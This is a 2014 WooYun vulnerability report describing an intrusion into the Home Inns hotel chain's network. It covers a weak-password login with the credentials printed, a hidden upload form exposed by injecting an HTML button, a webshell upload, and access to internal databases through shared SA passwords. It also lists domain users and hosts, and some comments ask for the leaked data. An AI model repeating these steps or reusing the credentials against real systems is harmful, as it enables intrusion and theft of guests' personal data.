当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-051579

漏洞标题：看我如何进入如家内网（今天，你开房了吗？）

相关厂商：如家酒店集团

漏洞作者： wefgod

提交时间：2014-02-21 10:38

修复时间：2014-04-07 10:43

公开时间：2014-04-07 10:43

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-02-21： 细节已通知厂商并且等待厂商处理中
2014-02-21： 厂商已经确认，细节仅向厂商公开
2014-03-03： 细节向核心白帽子及相关领域专家公开
2014-03-13： 细节向普通白帽子公开
2014-03-23： 细节向实习白帽子公开
2014-04-07： 细节向公众公开

简要描述：

一直觉得“看我如何……”这种标题有点太屌了，今天自己特别找一个来试试体验下感觉。
目前已经看了20多台数据库服务器，今天你开房了吗？开了？绝对可以查到。各种用户信息啊……似乎还有地方可以改房价？……总之数据库各种东西吧

详细说明：

主要原因还是http://office.homeinns.com/hcs/引起的。各种不用ikey就可以登录的弱口令，各种不防暴力破解连个验证码都没有……
先说hcs这个系统。
弱口令zuods/zuods123直接进去（这是一个老总吗？）

image006.png


各种销售人员？

image008.png


打开http://office.homeinns.com/hcs/Configure/Filesmanage.aspx

image010.png


原本我们是没有看见文件上传的，行：
先看源码：

function UpTo() 
 {
         //弹出窗口
         $('#Upinfo').dialog({autoOpen: false, modal:true, resizable:false, draggable: true, title: '文件上传', dialogClass: "login_dialog" });
         $('#ctl00_ContentPlaceHolder1_btnUpload').click( function(){$("#Upinfo").load('../Configure/UpFileLoad1.html').dialog('option', { 'width': 600, 'height': 250, 'title': '文件上传' }).dialog('open');return false; });
        
 }


哦哦有文件上传的对话框哦？咋搞出来呢？
找一个合适的位置添加如下代码：
<input type="button" id="ctl00_ContentPlaceHolder1_btnUpload" value="Click" onclick="UpTo()" />

image012.png


点击之后上传就出来咯：

image013.png


上一个！

image015.png


在下载处直接有路径
http://office.homeinns.com/Hcs/uploadfiles/ASPXspy2.aspx
最近园长有改过这货……2014版，欢迎关注！

image017.png


各种“内部文件”？？？

image019.png


image021.png


内网IP。
多个mssql的sa密码泄漏

image022.png


image024.png

漏洞证明：

看内网吧。以下内容适当屏蔽了一些信息

域用户：
\\021rjsh0070s.home.cn 的用户帐户
-------------------------------------------------------------------------------
2050                     2051                     2052                     
2053                     2054                     2055                     
2056                     2057                     2058                     
2059                     2060                     2061                     
2062                     2063                     2064                     
2065                     2066                     2067                     
2068                     2069                     2070                     
2071                     2072                     2073                     
2074                     2075                     2076                     
2077                     2078                     2079                     
2080                     2081                     2082                     
2083                     2084                     2085                     
2086                     2087                     2088                     
2089                     2090                     2091                     
2092                     3001                     3002                     
3003                     3004                     3006                     
3007                     3008                     3009                     
3010                     3011                     3012                     
3013                     3014                     3015                     
3016                     3017                     3018                     
4001                     4002                     4003                     
4005                     4006                     4007                     
4008                     4009                     4010                     
4011                     4012                     4013                     
7001                     7002                     7003                     
7004                     7005                     8001                     
8002                     8003                     8004                     
8008                     8009                     8010                     
8011                     alzhao                   Appadmin                 
aqsun                    aschen                   autocad                  
aychen                   bbding                   bbsun                    
………………………………
………………
ztzhong                  zxchen                   zxie                     
zxqiu                    zxwang                   zychai                   
zydeng                   zydong                   zyhu                     
zywei                    zyxie                    zyyin                    
zyzhang                  zzzuo                    茅燕华                   
命令成功完成。
Server Name            Remark
-------------------------------------------------------------------------------
\\021KAIFATEST                                                                 
\\021RISH-148WRK                                                               
\\021RJ17443W                                                                  
\\021RJSH-015WRK                                                               
\\021RJSH-108WRK                                                               
\\021RJSH-109WRK                                                               
\\021RJSH-110WRK                                                               
\\021RJSH-111WRK                                                               
\\021RJSH-112WRK                                                               
\\021RJSH-113WRK                                                               
\\021RJSH-114WRK                                                               
\\021RJSH-118WRK                                                               
\\021RJSH-119WRK                                                               
\\021RJSH-121WRK                                                               
\\021RJSH-125WRK                                                               
\\021RJSH-126WRK                                                               
\\021RJSH-129WRK                                                               
\\021RJSH-130WRK                                                               
\\021RJSH-132WRK                                                               
\\021RJSH-133WRK                                                               
…………
…………
\\021RJSH-135WRK                                                               
\\021RJSH-136WRK                                                               
\\021RJSH-137WRK                                                               
\\021RJSH-142WRK                                                               
\\021RJSH-144WRK                                                               
\\021RJSH-145WRK                                                               
\\021RJSH-147WRK                                                               
\\021RJSH-153WRK                                                               
\\021RJSH-154WRK                                                               
\\021RJSH-155WRK                                                               
\\021RJSH-156WRK                                                               
\\021RJSH-160WRK                                                               
\\021RJSH-162WRK                                                               
\\021RJSH-163WRK                                                               
\\021RJSH-166WRK                                                               
\\021RJSH-167WRK                                                               
\\021RJSH-168WRK                                                               
\\021RJSH-170WRK                                                               
\\021RJSH-172WRK                                                               
\\021RJSH-174WRK                                                               
\\021RJSH-177WRK                                                               
\\021RJSH-179WRK                                                               
\\021RJSH-182WRK                                                               
\\021RJSH-189WRK                                                               
\\021RJSH-191WRK                                                               
\\021RJSH-195WRK                                                               
\\021RJSH-197WRK                                                               
\\021RJSH-200WRK                                                               
\\021RJSH-202WRK                                                               
\\021RJSH-203WRK                                                               
\\021RJSH-204WRK                                                               
\\021RJSH-207WRK                                                               
\\021RJSH-208WRK                                                               
\\021RJSH-209W                                                                 
\\021RJSH-209WRK                                                               
\\021RJSH-210WRK                                                               
\\021RJSH-213WRK                                                               
\\021RJSH-215WRK                                                               
\\021RJSH-216WRK                                                               
\\021RJSH-217WRK                                                               
\\021RJSH-221WRK                                                               
\\021RJSH-228WRK                                                               
\\021RJSH-229WRK                                                               
\\021RJSH-230WRK                                                               
\\021RJSH-231WRK                                                               
\\021RJSH-246WRK                                                               
\\021RJSH-56W                                                                  
\\021RJSH-62WRK                                                                
\\021RJSH-72WRK                                                                
\\021RJSH-82WRK                                                                
\\021RJSH-91WRK                                                                
\\021RJSH00007S                                                                
\\021RJSH00014S                                                                
\\021RJSH00103S2                                                               
\\021RJSH00114S                                                                
\\021RJSH00135S                                                                
\\021RJSH00138S-2                                                              
\\021RJSH00139S                                                                
\\021RJSH00141S                                                                
\\021RJSH00146S                                                                
\\021RJSH00153S                                                                
\\021RJSH00154S                                                                
\\021RJSH00156S2                                                               
\\021RJSH00166S                                                                
\\021RJSH00166S2                                                               
\\021RJSH00167S                                                                
\\021RJSH00170S                                                                
\\021RJSH00176S                                                                
\\021RJSH00193S                                                                
\\021RJSH00196S2       021rjsh                                                 
\\021RJSH00197S2                                                               
\\021RJSH00198S                                                                
\\021RJSH00199S                                                                
\\021RJSH00200S                                                                
\\021RJSH00215S                                                                
\\021RJSH00216S                                                                
\\021RJSH00217S                                                                
\\021RJSH00218S                                                                
\\021RJSH00219S                                                                
\\021RJSH00221S                                                                
\\021RJSH00226S                                                                
\\021RJSH00230S                                                                
\\021RJSH00233S                                                                
\\021RJSH00242S                                                                
\\021RJSH00249S                                                                
\\021RJSH00250S                                                                
\\021RJSH00251S                                                                
\\021RJSH0026S                                                                 
\\021RJSH0027S                                                                 
\\021RJSH0029S2                                                                
\\021RJSH0030S2                                                                
\\021RJSH0031S                                                                 
\\021RJSH0035S                                                                 
\\021RJSH0037S                                                                 
\\021RJSH0038S                                                                 
\\021RJSH0039S                                                                 
\\021RJSH0041S                                                                 
\\021RJSH0045S                                                                 
\\021RJSH0046S-1                                                               
\\021RJSH0047S                                                                 
\\021RJSH0048S                                                                 
\\021RJSH0049S                                                                 
\\021RJSH0050S-1                                                               
\\021RJSH0051S                                                                 
\\021RJSH0052S                                                                 
\\021RJSH0054S2                                                                
\\021RJSH0055S                                                                 
\\021RJSH0056S                                                                 
\\021RJSH0058S                                                                 
\\021RJSH0059S                                                                 
\\021RJSH0061S                                                                 
\\021RJSH0062S                                                                 
\\021RJSH0063S                                                                 
\\021RJSH0064S                                                                 
\\021RJSH0068S2                                                                
\\021RJSH0070S                                                                 
\\021RJSH0071S                                                                 
\\021RJSH0072S-1                                                               
\\021RJSH0073S                                                                 
\\021RJSH0074S                                                                 
\\021RJSH0076S                                                                 
\\021RJSH0077S                                                                 
\\021RJSH0078S                                                                 
\\021RJSH0081S                                                                 
\\021RJSH0082S         WSUS & NAV Update Server                                
\\021RJSH0083S                                                                 
\\021RJSH0084S                                                                 
\\021RJSH0085S2                                                                
\\021RJSH0086S                                                                 
\\021RJSH0088S                                                                 
\\021RJSH0089S                                                                 
\\021RJSH0090S                                                                 
\\021RJSH0091S                                                                 
\\021RJSH0093S                                                                 
……………………………………
……………………………… 
\\RUJIA-REC5                                                                   
\\RYZHANG-PC                                                                   
\\TESTSERVER                                                                   
\\U5C9502                                                                      
\\WWW-07A33BE82F1                                                              
\\XUNIJI001                                                                    
\\XUNIJI002


先看192.168.210.*段：

image026.png


image027.png


image028.png


匿名ftp

image029.png


还有各种SA相同口令，超过15个，可以任意脱裤！包含非常多的用户数据，如用户真实姓名、身份证和密码。

image030.png


image031.png


看看数据库服务器里面的数据内容
192.168.210.35，用户数据，太敏感，就不截图太多了免得泄漏信息。下面的也是点到为止避免扩大危害

image032.png


image034.png


image035.png


192.168.210.38：我是不是可以改房价？

image037.png


192.168.210.72

image039.png


192.168.210.65

image040.png


192.168.210.72

image041.png


192.168.210.251

image043.png


172.23.100.*段：

image045.png


多个SA口令：

image046.png


172.23.100.21:

image047.png


image049.png


172.23.100.109

image051.png


image053.png


System直接可以搞：

image055.png


具体就不再操作了。其它ip其实还有类似的问题，我就不再弄了。

修复方案：

多种类型……综合分析看看怎么修复吧
另外乌云@疯狗 @xsser 可以给个雷吗？好久没被雷了

版权声明：转载请注明来源 wefgod@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-02-21 11:52

厂商回复：

感谢关注！！！

最新状态：

暂无

漏洞评价：

评论

  1. 2014-02-21 10:40 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    悲剧不雷。

  2. 2014-02-21 10:41 | adm1n ( 普通白帽子 | Rank:216 漏洞数:66 | 只是一个渣渣而已。。。)

    你为何这么吊

  3. 2014-02-21 10:43 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    哈哈居然雷了！不错

  4. 2014-02-21 10:45 | 一只猿 ( 普通白帽子 | Rank:463 漏洞数:89 | 硬件与无线通信研究方向)

    皂友求交往

  5. 2014-02-21 10:45 | Luverose ( 路人 | Rank:12 漏洞数:2 | 我才不是小号)

    求裤子

  6. 2014-02-21 10:47 | 乌云 ( 实习白帽子 | Rank:66 漏洞数:14 | a)

    恭喜雷了

  7. 2014-02-21 10:47 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    屌。

  8. 2014-02-21 10:50 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @一只猿 你一直在列表中

  9. 2014-02-21 10:52 | 一只猿 ( 普通白帽子 | Rank:463 漏洞数:89 | 硬件与无线通信研究方向)

    @wefgod 羞射..

  10. 2014-02-21 11:00 | niliu 认证白帽子 ( 核心白帽子 | Rank:1542 漏洞数:206 | 逆流而上)

    咔嚓

  11. 2014-02-21 11:01 | Haswell ( 普通白帽子 | Rank:167 漏洞数:18 | HorizonSec @ RDFZ)

    吊的是不是“看我如何”……是括号里的

  12. 2014-02-21 11:03 | 你又不是她 ( 路人 | Rank:0 漏洞数:1 | ~。~)

    求女神开房记录

  13. 2014-02-21 11:05 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @Haswell 哈哈这样

  14. 2014-02-21 11:05 | 草榴社区 ( 普通白帽子 | Rank:109 漏洞数:26 | 未满18周岁,不准进入.)

    以后就去5星级.,看你们这群屌丝怎么去黑.

  15. 2014-02-21 11:08 | 专业种田 认证白帽子 ( 核心白帽子 | Rank:1425 漏洞数:182 | 没有最专业的农民,只有更努力地耕耘..........)

    开了,求不查

  16. 2014-02-21 11:08 | magerx ( 普通白帽子 | Rank:257 漏洞数:45 | 别说话。)

    哎呦，终于发了啊 哈哈

  17. 2014-02-21 11:11 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @magerx 早上才继续弄好昨晚拉肚子了

  18. 2014-02-21 11:11 | 专业种田 认证白帽子 ( 核心白帽子 | Rank:1425 漏洞数:182 | 没有最专业的农民,只有更努力地耕耘..........)

    开了,求不查

  19. 2014-02-21 11:14 | Wens0n ( 普通白帽子 | Rank:102 漏洞数:22 | 精华漏洞数:32 | WooYun认证√ 舞蹈系教授)

    好屌！

  20. 2014-02-21 11:25 | The 7 ( 路人 | Rank:4 漏洞数:1 | 这人很懒，什么都留下了。)

    入 家。。。

  21. 2014-02-21 11:32 | Neeke ( 普通白帽子 | Rank:101 漏洞数:24 | 求传授刷Rank方法？)

    真屌！

  22. 2014-02-21 11:32 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)

    你为何这么吊

  23. 2014-02-21 11:37 | 银狼_avi ( 实习白帽子 | Rank:55 漏洞数:13 | 本屌十二岁破处)

    你为何这么吊

  24. 2014-02-21 11:43 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    你这么屌我怎么不知道？

  25. 2014-02-21 11:45 | Hxai11 ( 普通白帽子 | Rank:1137 漏洞数:218 | 于是我们奋力向前游，逆流而上的小舟，不停...)

    你这么叼开放的人知道吗

  26. 2014-02-21 12:11 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    你这么屌，你敢让你女朋友知道么？

  27. 2014-02-21 14:53 | 路人N ( 路人 | Rank:12 漏洞数:8 )

    mark~

  28. 2014-02-21 15:05 | 低调的瘦子 ( 普通白帽子 | Rank:466 漏洞数:68 | loading……………………)

    哇。太凶残了！

  29. 2014-02-21 15:15 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚，关注互联网安全)

    NB!

  30. 2014-02-21 18:27 | 从容 ( 普通白帽子 | Rank:221 漏洞数:75 | Enjoy Hacking Just Because It's Fun :) ...)

    求交友~

  31. 2014-03-29 22:41 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云，知恩不忘，其实我一直都在乌云默...)

    @wefgod 厂商回复：感谢脱裤！

  32. 2014-03-31 09:01 | 路人N ( 路人 | Rank:12 漏洞数:8 )

    ipc null session connection success是什么工具？

  33. 2014-03-31 09:04 | Hxai11 ( 普通白帽子 | Rank:1137 漏洞数:218 | 于是我们奋力向前游，逆流而上的小舟，不停...)

    简单粗暴，我喜欢

  34. 2014-03-31 09:47 | Neeke ( 普通白帽子 | Rank:101 漏洞数:24 | 求传授刷Rank方法？)

    @路人N 目测用的是HTscan

  35. 2014-03-31 09:53 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)

    zuods 这用户名你怎么搞到的，老实交代，不然小心你家水表，你懂的

  36. 2014-04-07 10:57 | lkboboy ( 路人 | Rank:2 漏洞数:1 | 无所事事)

    ！！！难道没杀软~

  37. 2014-04-07 12:04 | nightwi3h ( 实习白帽子 | Rank:38 漏洞数:2 | 桐梓林南路凌晨包子摊摊主)

    这种没有授权就在内网打扫特扫如家可以考虑直接报警，IDS IPS上好，内网没有部署杀毒？干什么吃的，若是lz这样子搞我们公司，估计现在已经把大量日志直接打包送警察叔叔了

  38. 2014-04-07 12:35 | 影子契约 ( 路人 | Rank:0 漏洞数:1 | 额额。。。)

    额额，这个，见识了

  39. 2014-04-07 13:19 | x1aoh4i ( 普通白帽子 | Rank:403 漏洞数:62 )

    这,,,, 低调啊

  40. 2014-04-07 22:00 | 夜鸣猪 ( 实习白帽子 | Rank:32 漏洞数:6 | 介绍你妹啊)

    这么屌， zuods怎么搞到？

  41. 2014-04-08 03:01 | 小火苗 ( 路人 | Rank:6 漏洞数:1 | 我是一只小火苗呀，春风吹又生呀...)

    zuods，做屌丝？做大师，做大死，做大事？求含义

  42. 2014-04-08 17:07 | Fixw ( 路人 | Rank:9 漏洞数:4 )

    太黄 太暴力了

  43. 2014-04-14 18:18 | 楼下小黑 ( 路人 | Rank:0 漏洞数:1 | 高智商白痴)

    屌炸天

  44. 2014-04-15 09:28 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @夜鸣猪 tongxunlu。

  45. 2014-05-07 20:14 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @nightwi3h 大牛的神公司，小生可搞不了。